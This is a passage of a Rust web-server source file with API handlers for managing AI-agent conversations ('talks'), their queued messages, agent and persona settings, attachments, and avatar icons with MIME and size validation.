10007 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10008 turn.take()
10009 .expect("held for the whole loop until released here")
10010 .release(&mut live);
10011 break;
10012 }
10013 };
10014 talk = next_talk;
10015 let drained = match result {
10016 Ok(Some(drained)) => drained,
10017 Ok(None) => {
10018 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10019 if live.queued.get(&id).copied().unwrap_or(0) != observed {
10020 continue;
10021 }
10022 turn.take()
10023 .expect("held for the whole loop until released here")
10024 .release(&mut live);
10025 break;
10026 }
10027 Err(e) => {
10028 tracing::warn!("talk {id} could not drain queued text: {e:#}");
10029 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10030 turn.take()
10031 .expect("held for the whole loop until released here")
10032 .release(&mut live);
10033 break;
10034 }
10035 };
10036 if let Some(started) = started.take() {
10037 let _ = started.send(true);
10038 }
10039 let responded = match turn.as_ref() {
10040 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10041 None => Err(anyhow::anyhow!("the turn guard was released")),
10042 };
10043 if let Err(e) = responded {
10044 tracing::warn!("talk {id} turn failed: {e:#}");
10045 }
10046 }
10047 drop(turn);
10048 if let Some(started) = started {
10049 let _ = started.send(false);
10050 }
10051}
10052
10053async fn talk_pending_clear(
10055 State(ui): State<Arc<Ui>>,
10056 Path(id): Path<String>,
10057 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10058) -> ApiResult<Json<TalkView>> {
10059 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10060 blocking(move || {
10061 let id = resolve_talk(&ui.talks, &id)?;
10062 let mut talk = ui.talks.get(&id)?;
10063 if !talk.status.open() {
10064 return Err(ApiError::conflict(format!(
10065 "talk {} is {} and takes no more turns",
10066 talk.short(),
10067 talk.status.as_str()
10068 )));
10069 }
10070 if !talk::clear_pending_if_matches(
10071 &mut talk,
10072 &ui.talks,
10073 &body.expected_text,
10074 &body.expected_attachments,
10075 )? {
10076 return Err(ApiError::conflict(
10077 "queued message changed; reload it before clearing",
10078 ));
10079 }
10080 let thinking = ui.is_thinking(&talk.id);
10081 Ok(Json(TalkView::new(talk, thinking, &ui)))
10082 })
10083 .await
10084}
10085
10086async fn talk_pending_edit(
10090 State(ui): State<Arc<Ui>>,
10091 Path(id): Path<String>,
10092 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10093) -> ApiResult<Json<TalkView>> {
10094 let admission = ui.begin_admission()?;
10095 admitted(admission, async move {
10096 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10097 let id = {
10098 let ui = Arc::clone(&ui);
10099 blocking(move || resolve_talk(&ui.talks, &id)).await?
10100 };
10101 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10102 .await
10103 .map_err(ApiError::from)?;
10104 let (view, reclaimed) = blocking({
10105 let ui = Arc::clone(&ui);
10106 move || {
10107 let mut talk = ui.talks.get(&id)?;
10108 if !talk.status.open() {
10109 return Err(ApiError::conflict(format!(
10110 "talk {} is {} and takes no more turns",
10111 talk.short(),
10112 talk.status.as_str()
10113 )));
10114 }
10115 if !talk::edit_pending_message(
10116 &mut talk,
10117 &ui.talks,
10118 &body.text,
10119 &body.expected_text,
10120 &body.expected_attachments,
10121 body.message,
10122 )? {
10123 return Err(ApiError::conflict(
10124 "queued message changed; reload it before editing",
10125 ));
10126 }
10127 let claim = match ui.begin_queued_talk_turn(&id)? {
10128 Some(turn_guard) => {
10129 let (cfg, _) = Config::discover(&talk.repo, None)?;
10130 Some((talk.clone(), cfg, id.clone(), turn_guard))
10131 }
10132 None => None,
10133 };
10134 let thinking = ui.is_thinking(&id);
10135 Ok((TalkView::new(talk, thinking, &ui), claim))
10136 }
10137 })
10138 .await?;
10139 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10140 let talks = ui.talks.clone();
10141 #[cfg(not(test))]
10142 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10143 #[cfg(test)]
10144 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10145 }
10146 Ok(Json(view))
10147 })
10148 .await
10149}
10150
10151fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10153 if talk.status.open() {
10154 return Ok(());
10155 }
10156 Err(ApiError::conflict(format!(
10157 "talk {} is {} and takes no more turns",
10158 talk.short(),
10159 talk.status.as_str()
10160 )))
10161}
10162
10163#[derive(Debug, Deserialize)]
10165struct TalkAgent {
10166 agent: String,
10167}
10168
10169async fn talk_agent(
10174 State(ui): State<Arc<Ui>>,
10175 Path(id): Path<String>,
10176 Json(body): Json<TalkAgent>,
10177) -> ApiResult<Json<TalkView>> {
10178 let admission = ui.begin_admission()?;
10179 admitted(admission, async move {
10180 let id = {
10181 let ui = Arc::clone(&ui);
10182 blocking(move || resolve_talk(&ui.talks, &id)).await?
10183 };
10184 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10185 .await
10186 .map_err(ApiError::from)?;
10187 let repo = {
10188 let ui = Arc::clone(&ui);
10189 let id = id.clone();
10190 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10191 };
10192 let cfg = config_for(&repo).await?;
10193 {
10195 let ui = Arc::clone(&ui);
10196 let id = id.clone();
10197 let cfg = cfg.clone();
10198 let wanted = body.agent.clone();
10199 blocking(move || {
10200 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10201 .map_err(ApiError::bad_request_from)?;
10202 refuse_if_closed(&ui.talks.get(&id)?)
10203 })
10204 .await?;
10205 }
10206 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10207 return Err(ApiError::conflict(
10208 "a talk turn is running; change the agent once it has answered",
10209 ));
10210 };
10211 let switched = {
10212 let ui = Arc::clone(&ui);
10213 let id = id.clone();
10214 let cfg = cfg.clone();
10215 blocking(move || {
10216 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10217 .map_err(ApiError::bad_request_from)?;
10218 let mut talk = ui.talks.get(&id)?;
10219 if !talk.status.open() {
10220 return Err(ApiError::conflict(format!(
10221 "talk {} is {} and takes no more turns",
10222 talk.short(),
10223 talk.status.as_str()
10224 )));
10225 }
10226 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10227 Ok(talk)
10228 })
10229 .await
10230 };
10231 let observed = ui.queued_generation(&id);
10236 let fresh = {
10237 let ui = Arc::clone(&ui);
10238 let id = id.clone();
10239 blocking(move || Ok(ui.talks.get(&id)?)).await
10240 };
10241 let draining = match fresh {
10242 Ok(talk) => {
10243 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10244 }
10245 Err(_) => false,
10246 };
10247 let talk = switched?;
10248 Ok(Json(TalkView::new(talk, draining, &ui)))
10249 })
10250 .await
10251}
10252
10253#[derive(Debug, Deserialize)]
10255struct TalkPersona {
10256 persona: String,
10257}
10258
10259async fn talk_persona(
10263 State(ui): State<Arc<Ui>>,
10264 Path(id): Path<String>,
10265 Json(body): Json<TalkPersona>,
10266) -> ApiResult<Json<TalkView>> {
10267 let admission = ui.begin_admission()?;
10268 admitted(admission, async move {
10269 let id = {
10270 let ui = Arc::clone(&ui);
10271 blocking(move || resolve_talk(&ui.talks, &id)).await?
10272 };
10273 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10274 .await
10275 .map_err(ApiError::from)?;
10276 let repo = {
10277 let ui = Arc::clone(&ui);
10278 let id = id.clone();
10279 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10280 };
10281 let cfg = config_for(&repo).await?;
10282 {
10284 let ui = Arc::clone(&ui);
10285 let id = id.clone();
10286 let cfg = cfg.clone();
10287 let wanted = body.persona.clone();
10288 blocking(move || {
10289 if persona::find(&cfg.talk.personas, &wanted).is_none() {
10290 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10291 }
10292 refuse_if_closed(&ui.talks.get(&id)?)
10293 })
10294 .await?;
10295 }
10296 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10297 return Err(ApiError::conflict(
10298 "a talk turn is running; change the persona once it has answered",
10299 ));
10300 };
10301 let switched = {
10302 let ui = Arc::clone(&ui);
10303 let id = id.clone();
10304 let cfg = cfg.clone();
10305 blocking(move || {
10306 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10307 return Err(ApiError::bad_request(format!(
10308 "unknown persona `{}`",
10309 body.persona
10310 )));
10311 };
10312 let mut talk = ui.talks.get(&id)?;
10313 if !talk.status.open() {
10314 return Err(ApiError::conflict(format!(
10315 "talk {} is {} and takes no more turns",
10316 talk.short(),
10317 talk.status.as_str()
10318 )));
10319 }
10320 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10321 Ok(talk)
10322 })
10323 .await
10324 };
10325 let observed = ui.queued_generation(&id);
10327 let fresh = {
10328 let ui = Arc::clone(&ui);
10329 let id = id.clone();
10330 blocking(move || Ok(ui.talks.get(&id)?)).await
10331 };
10332 let draining = match fresh {
10333 Ok(talk) => {
10334 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10335 }
10336 Err(_) => false,
10337 };
10338 let talk = switched?;
10339 Ok(Json(TalkView::new(talk, draining, &ui)))
10340 })
10341 .await
10342}
10343
10344#[derive(Debug, Deserialize)]
10346struct TalkImplementers {
10347 implementers: u8,
10348}
10349
10350async fn talk_implementers(
10354 State(ui): State<Arc<Ui>>,
10355 Path(id): Path<String>,
10356 Json(body): Json<TalkImplementers>,
10357) -> ApiResult<Json<TalkView>> {
10358 let admission = ui.begin_admission()?;
10359 admitted(admission, async move {
10360 let id = {
10361 let ui = Arc::clone(&ui);
10362 blocking(move || resolve_talk(&ui.talks, &id)).await?
10363 };
10364 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10365 .await
10366 .map_err(ApiError::from)?;
10367 let repo = {
10368 let ui = Arc::clone(&ui);
10369 let id = id.clone();
10370 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10371 };
10372 let cfg = config_for(&repo).await?;
10373 {
10378 let ui = Arc::clone(&ui);
10379 let id = id.clone();
10380 let cfg = cfg.clone();
10381 let wanted = body.implementers;
10382 blocking(move || {
10383 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10384 refuse_if_closed(&ui.talks.get(&id)?)
10385 })
10386 .await?;
10387 }
10388 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10389 return Err(ApiError::conflict(
10390 "a talk turn is running; change the implementers once it has answered",
10391 ));
10392 };
10393 let switched = {
10394 let ui = Arc::clone(&ui);
10395 let id = id.clone();
10396 let cfg = cfg.clone();
10397 blocking(move || {
10398 let chosen = talk::check_implementers(body.implementers, &cfg)
10399 .map_err(ApiError::bad_request)?;
10400 let mut talk = ui.talks.get(&id)?;
10401 if !talk.status.open() {
10402 return Err(ApiError::conflict(format!(
10403 "talk {} is {} and takes no more turns",
10404 talk.short(),
10405 talk.status.as_str()
10406 )));
10407 }
10408 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10409 Ok(talk)
10410 })
10411 .await
10412 };
10413 let observed = ui.queued_generation(&id);
10415 let fresh = {
10416 let ui = Arc::clone(&ui);
10417 let id = id.clone();
10418 blocking(move || Ok(ui.talks.get(&id)?)).await
10419 };
10420 let draining = match fresh {
10421 Ok(talk) => {
10422 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10423 }
10424 Err(_) => false,
10425 };
10426 let talk = switched?;
10427 Ok(Json(TalkView::new(talk, draining, &ui)))
10428 })
10429 .await
10430}
10431
10432async fn talk_close(
10434 State(ui): State<Arc<Ui>>,
10435 Path(id): Path<String>,
10436) -> ApiResult<Json<TalkView>> {
10437 blocking(move || {
10438 let id = resolve_talk(&ui.talks, &id)?;
10439 let mut talk = ui.talks.get(&id)?;
10440 talk::close(&mut talk, &ui.talks).map_err(|error| {
10441 if error.is::<talk::ClosePendingInput>() {
10442 ApiError::conflict(format!("{error:#}"))
10443 } else {
10444 ApiError::from(error)
10445 }
10446 })?;
10447 let thinking = ui.is_thinking(&talk.id);
10448 Ok(Json(TalkView::new(talk, thinking, &ui)))
10449 })
10450 .await
10451}
10452
10453async fn talk_reopen(
10455 State(ui): State<Arc<Ui>>,
10456 Path(id): Path<String>,
10457) -> ApiResult<Json<TalkView>> {
10458 blocking(move || {
10459 let id = resolve_talk(&ui.talks, &id)?;
10460 let mut talk = ui.talks.get(&id)?;
10461 talk::reopen(&mut talk, &ui.talks)?;
10462 let thinking = ui.is_thinking(&talk.id);
10463 Ok(Json(TalkView::new(talk, thinking, &ui)))
10464 })
10465 .await
10466}
10467
10468async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10478 blocking(move || {
10479 let id = resolve_talk(&ui.talks, &id)?;
10480 ui.talks.remove(&id)?;
10481 Ok(StatusCode::NO_CONTENT)
10482 })
10483 .await
10484}
10485
10486fn talk_ids(root: &FsPath) -> Vec<String> {
10487 std::fs::read_dir(root)
10488 .into_iter()
10489 .flatten()
10490 .flatten()
10491 .filter_map(|e| {
10492 let path = e.path();
10493 if path.extension().is_some_and(|ext| ext == "json") {
10494 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10495 } else {
10496 None
10497 }
10498 })
10499 .collect()
10500}
10501
10502fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10504 if plain_record_id(id) && store.path_of(id).is_file() {
10505 return Ok(id.to_owned());
10506 }
10507 pick(talk_ids(store.root()), id, "talk")
10508}
10509
10510async fn talk_attachment_post(
10513 State(ui): State<Arc<Ui>>,
10514 Path(id): Path<String>,
10515 headers: HeaderMap,
10516 body: Bytes,
10517) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10518 let mime = validate_attachment(&headers, &body)?;
10519 let name = filename_header(&headers);
10520 let data = body.to_vec();
10521 blocking(move || {
10522 let id = resolve_talk(&ui.talks, &id)?;
10523 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10524 Ok((StatusCode::CREATED, Json(att)))
10525 })
10526 .await
10527}
10528
10529async fn talk_attachment_get(
10532 State(ui): State<Arc<Ui>>,
10533 Path((id, att)): Path<(String, String)>,
10534) -> ApiResult<Response> {
10535 blocking(move || {
10536 let id = resolve_talk(&ui.talks, &id)?;
10537 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10538 return Err(ApiError::not_found(format!(
10539 "talk {id} has no attachment `{att}`"
10540 )));
10541 };
10542 Ok(attachment_response(&meta.mime, data))
10543 })
10544 .await
10545}
10546
10547fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10550 let id = avatar_encode(&p.id);
10551 format!(
10552 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10553 persona_icon::fingerprint(
10554 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10555 )
10556 )
10557}
10558
10559#[derive(Debug, Default, Deserialize)]
10560struct AvatarQuery {
10561 persona: Option<String>,
10562 builtin: Option<String>,
10564}
10565
10566const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10568
10569fn builtin_avatar(id: &str) -> Response {
10570 svg_avatar(persona_icon::builtin_svg(id))
10571}
10572
10573async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10574 raster_or_builtin(
10575 read_icon_file(&avatar_setting_path(&ui.home, None))
10576 .filter(|_| q.builtin.is_none())
10577 .as_deref(),
10578 persona_icon::operator_svg(),
10579 )
10580}
10581
10582fn svg_avatar(svg: &'static str) -> Response {
10583 (
10584 [
10585 (header::CONTENT_TYPE, "image/svg+xml"),
10586 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10587 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10588 (header::CACHE_CONTROL, "no-cache"),
10589 ],
10590 svg,
10591 )
10592 .into_response()
10593}
10594
10595fn avatar_encode(value: &str) -> String {
10596 value
10597 .bytes()
10598 .map(|b| {
10599 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10600 char::from(b).to_string()
10601 } else {
10602 format!("%{b:02X}")
10603 }
10604 })
10605 .collect()
10606}
10607
10608fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10610 let Some(id) = persona else {
10611 return home.join("avatars/operator.data");
10612 };
10613 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10614 let mut path = home.join("avatars/personas");
10615 for chunk in encoded.as_bytes().chunks(100) {
10616 path.push(std::str::from_utf8(chunk).expect("hex"));
10617 }
10618 path.join("icon.data")
10619}
10620
10621fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10622 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10623 Some(value) if value == "builtin" => Some(String::new()),
10624 Some(value) => Some(value),
10625 None => configured.map(str::to_owned),
10626 }
10627}
10628
10629fn operator_icon_url(home: &FsPath) -> String {
10630 format!(
10631 "/avatars/operator.svg?v={}",
10632 persona_icon::fingerprint(
10633 read_icon_file(&avatar_setting_path(home, None))
10634 .as_deref()
10635 .or(Some(persona_icon::operator_svg()))
10636 )
10637 )
10638}
10639
10640fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10641 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10642 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10643 attachment_response(mime, bytes)
10644 }
10645 _ => svg_avatar(builtin),
10646 };
10647 response
10648 .headers_mut()
10649 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10650 response
10651}
10652
10653#[derive(Default, Deserialize)]
10654struct AvatarSettingsQuery {
10655 repo: Option<PathBuf>,
10656 persona: Option<String>,
10657 builtin: Option<String>,
10658 inherit: Option<String>,
10659}
10660
10661fn avatar_settings_specs(
10662 ui: &Ui,
10663 repo: Option<PathBuf>,
10664) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10665 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10666 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10667 .map(|cfg| cfg.talk.personas)
10668 .unwrap_or_default();
10669 Ok((repo, specs))
10670}
10671
10672fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10673 let Ok(entries) = std::fs::read_dir(path) else {
10674 return;
10675 };
10676 for entry in entries.flatten() {
10677 let name = entry.file_name().to_string_lossy().into_owned();
10678 if name == "icon.data" {
10679 let bytes: Option<Vec<u8>> = prefix
10680 .as_bytes()
10681 .chunks(2)
10682 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10683 .collect();
10684 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10685 out.push(id);
10686 }
10687 } else if name.len() <= 100
10688 && !name.is_empty()
10689 && name.bytes().all(|b| b.is_ascii_hexdigit())
10690 && entry.file_type().is_ok_and(|t| t.is_dir())
10691 {
10692 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10693 }
10694 }
10695}
10696
10697async fn avatar_settings_get(
10698 State(ui): State<Arc<Ui>>,
10699 Query(q): Query<AvatarSettingsQuery>,
10700) -> ApiResult<Json<serde_json::Value>> {
10701 blocking(move || {
10702 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10703 let mut catalog = persona::catalog(&specs);
10704 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10705 let mut saved = Vec::new();
10706 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10707 for id in saved {
10708 if !catalog.iter().any(|p| p.id == id) {
10709 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10710 }
10711 }
10712 let personas: Vec<_> = catalog.iter().map(|p| {
10713 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10714 let override_state = match saved.as_deref() {
10715 Some("builtin") => "builtin",
10716 Some(_) => "custom",
10717 None => "inherit",
10718 };
10719 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10720 serde_json::json!({"id":p.id,"name":p.name,
10721 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10722 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10723 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10724 }).collect();
10725 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10726 }).await
10727}
10728
10729async fn settings_persona_avatar(
10730 State(ui): State<Arc<Ui>>,
10731 Query(q): Query<AvatarSettingsQuery>,
10732) -> ApiResult<Response> {
10733 blocking(move || {
10734 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10735 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10736 let found = persona::find(&specs, id);
10737 let icon =
10738 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10739 Ok(raster_or_builtin(
10740 icon.as_deref().filter(|_| q.builtin.is_none()),
10741 persona_icon::builtin_svg(id),
10742 ))
10743 })
10744 .await
10745}
10746
10747fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10748 if q.persona
10749 .as_ref()
10750 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10751 {
10752 return Err(ApiError::bad_request("invalid persona id"));
10753 }
10754 Ok(())
10755}
10756
10757async fn avatar_settings_put(
10758 State(ui): State<Arc<Ui>>,
10759 Query(q): Query<AvatarSettingsQuery>,
10760 Json(upload): Json<MagiIconUpload>,
10761) -> ApiResult<Json<serde_json::Value>> {
10762 blocking(move || {
10763 validate_avatar_target(&q)?;
10764 save_icon_file(
10765 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10766 &upload.icon,
10767 )
10768 .map_err(ApiError::bad_request_from)?;
10769 Ok(Json(serde_json::json!({"saved":true})))
10770 })
10771 .await
10772}
10773
10774async fn avatar_settings_delete(
10775 State(ui): State<Arc<Ui>>,
10776 Query(q): Query<AvatarSettingsQuery>,
10777) -> ApiResult<Json<serde_json::Value>> {
10778 blocking(move || {
10779 validate_avatar_target(&q)?;
10780 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10781 if q.persona.is_some() && q.inherit.is_none() {
10782 atomic_icon_write(&path, "builtin")?;
10783 } else {
10784 match std::fs::remove_file(path) {
10785 Ok(()) => (),
10786 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10787 Err(e) => return Err(anyhow::Error::from(e).into()),
10788 }
10789 }
10790 Ok(Json(serde_json::json!({"saved":true})))
10791 })
10792 .await
10793}
10794
10795fn magi_icon_path(home: &FsPath) -> PathBuf {
10797 home.join("magi-icon.data")
10798}
10799
10800fn read_magi_icon(home: &FsPath) -> Option<String> {
10801 read_icon_file(&magi_icon_path(home))
10802}
10803
10804fn read_icon_file(path: &FsPath) -> Option<String> {
10805 let metadata = std::fs::metadata(path).ok()?;
10806 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10807 return None;
10808 }
10809 let file = std::fs::File::open(path).ok()?;
10810 use std::io::Read;
10811 let mut text = String::new();
10812 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10813 .read_to_string(&mut text)
10814 .ok()?;
10815 if text.len() > persona_icon::ICON_MAX_BYTES {
10816 return None;
10817 }
10818 if text == "builtin" {
10819 return Some(text);
10820 }
10821 validate_uploaded_icon(&text).ok()?;
10822 Some(text)
10823}
10824
10825fn magi_icon_url(home: &FsPath) -> String {
10826 format!(
10827 "/avatars/magi?v={}",
10828 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10829 )
10830}
10831
10832async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10833 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10834}
10835
10836#[derive(Deserialize)]
10837struct MagiIconUpload {
10838 icon: String,
10839}
10840
10841fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10842 save_icon_file(&magi_icon_path(home), icon)
10843}
10844
10845fn validate_uploaded_icon(icon: &str) -> Result<()> {
10846 if !icon.starts_with("data:") {
10847 anyhow::bail!("upload a raster image");
10848 }
10849 let (mime, bytes) = persona_icon::load(icon)?;
10850 if sniffed_mime(&bytes) != Some(mime) {
10851 anyhow::bail!("image content does not match its type");
10852 }
10853 Ok(())
10854}
10855
10856fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10857 validate_uploaded_icon(icon)?;
10858 atomic_icon_write(path, icon)
10859}
10860
10861fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10862 let home = path.parent().expect("icon parent");
10863 std::fs::create_dir_all(home)?;
10864 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10865 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10866 let result = (|| -> Result<()> {
10867 use std::io::Write;
10868 let mut file = std::fs::OpenOptions::new()
10869 .write(true)
10870 .create_new(true)
10871 .open(&temp)?;
10872 file.write_all(icon.as_bytes())?;
10873 file.sync_all()?;
10874 std::fs::rename(&temp, path)?;
10875 Ok(())
10876 })();
10877 let _ = std::fs::remove_file(temp);
10878 result?;
10879 Ok(())
10880}
10881
10882async fn magi_icon_put(
10883 State(ui): State<Arc<Ui>>,
10884 Json(upload): Json<MagiIconUpload>,
10885) -> ApiResult<Json<serde_json::Value>> {
10886 blocking(move || {
10887 if !upload.icon.starts_with("data:") {
10888 return Err(ApiError::bad_request("upload a raster image"));
10889 }
10890 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10891 if sniffed_mime(&bytes) != Some(mime) {
10892 return Err(ApiError::bad_request(
10893 "image content does not match its type",
10894 ));
10895 }
10896 save_magi_icon(&ui.home, &upload.icon)?;
10897 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10898 })
10899 .await
10900}
10901
10902async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10903 blocking(move || {
10904 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10905 Ok(()) => (),
10906 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10907 Err(e) => return Err(anyhow::Error::from(e).into()),
10908 }
10909 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10910 })
10911 .await
10912}
10913
10914async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10915 let icon = (q.builtin.is_none())
10916 .then(|| read_magi_icon(&ui.home))
10917 .flatten();
10918 let mut response = match icon
10919 .as_deref()
10920 .and_then(|icon| persona_icon::load(icon).ok())
10921 {
10922 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10923 attachment_response(mime, bytes)
10924 }
10925 _ => svg_avatar(persona_icon::magi_svg()),
10926 };
10927 response
10928 .headers_mut()
10929 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10930 response
10931}
10932
10933async fn talk_avatar(
10938 State(ui): State<Arc<Ui>>,
10939 Path(id): Path<String>,
10940 Query(q): Query<AvatarQuery>,
10941) -> ApiResult<Response> {
10942 blocking(move || {
10943 let id = resolve_talk(&ui.talks, &id)?;
10944 let talk = ui.talks.get(&id)?;
10945 let wanted = q
10946 .persona
10947 .as_deref()
10948 .map(str::trim)
10949 .filter(|p| !p.is_empty())
10950 .unwrap_or(&talk.persona)
10951 .to_owned();
10952 let specs = match Config::discover(&talk.repo, None) {
10953 Ok((cfg, _)) => cfg.talk.personas,
10954 Err(e) => {
10955 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10956 Vec::new()
10957 }
10958 };
10959 let found = persona::find(&specs, &wanted);
10960 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10962 let icon = effective_persona_icon(
10963 &ui.home,
10964 &wanted,
10965 found.as_ref().and_then(|p| p.icon.as_deref()),
10966 );
10967 if found.is_none() && icon.is_none() {
10968 return Ok(builtin_avatar(persona::DEFAULT_ID));
10969 }
10970 let Some(icon) = icon
10971 .as_deref()
10972 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10973 else {
10974 return Ok(builtin_avatar(&wanted));
10975 };
10976 let Some(found) = found else {
10977 return Ok(raster_or_builtin(
10978 Some(icon),
10979 persona_icon::builtin_svg(&wanted),
10980 ));
10981 };
10982 match persona_icon::load(icon) {
10983 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10984 let mut res = attachment_response(mime, bytes);
10985 res.headers_mut().insert(
10986 header::CACHE_CONTROL,
10987 header::HeaderValue::from_static("no-cache"),
10988 );
10989 Ok(res)
10990 }
10991 Ok((mime, _)) => {
10992 tracing::warn!(
10993 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10994 found.id
10995 );
10996 Ok(builtin_avatar(&found.id))
10997 }
10998 Err(e) => {
10999 tracing::warn!(
11000 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11001 found.id
11002 );
11003 Ok(builtin_avatar(&found.id))
11004 }
11005 }
11006 })
11007 .await
11008}
11009
11010fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11021 if data.len() > ATTACHMENT_MAX_BYTES {
11022 return Err(ApiError::bad_request(format!(
11023 "attachment is {} bytes, over the {} MiB limit",
11024 data.len(),
11025 ATTACHMENT_MAX_BYTES / (1024 * 1024)
11026 ))
11027 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11028 }
11029 if data.is_empty() {
11030 return Err(ApiError::bad_request("attachment is empty"));
11031 }
